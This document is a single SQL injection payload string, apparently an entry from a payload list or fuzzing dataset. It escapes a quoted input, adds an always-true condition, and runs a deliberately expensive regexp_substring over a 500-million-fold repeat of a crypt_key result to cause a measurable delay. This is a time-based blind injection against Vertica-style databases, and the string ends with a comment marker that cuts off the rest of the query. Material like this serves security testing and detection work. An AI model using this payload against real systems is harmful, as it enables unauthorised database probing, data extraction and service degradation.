"1' where 6147  =  6147   (  select   (  case when   (  4587  =  4587  )   then regexp_substring  (  repeat  (  left  (  crypt_key  (  char  (  65  )  ||char  (  69  )  ||char  (  83  )  ,null  )  ,0  )  ,500000000  )  ,null  )   else char  (  76  )  ||char  (  65  )  ||char  (  102  )  ||char  (  72  )   end  )   from   (  values  (  0   )    )     )  --"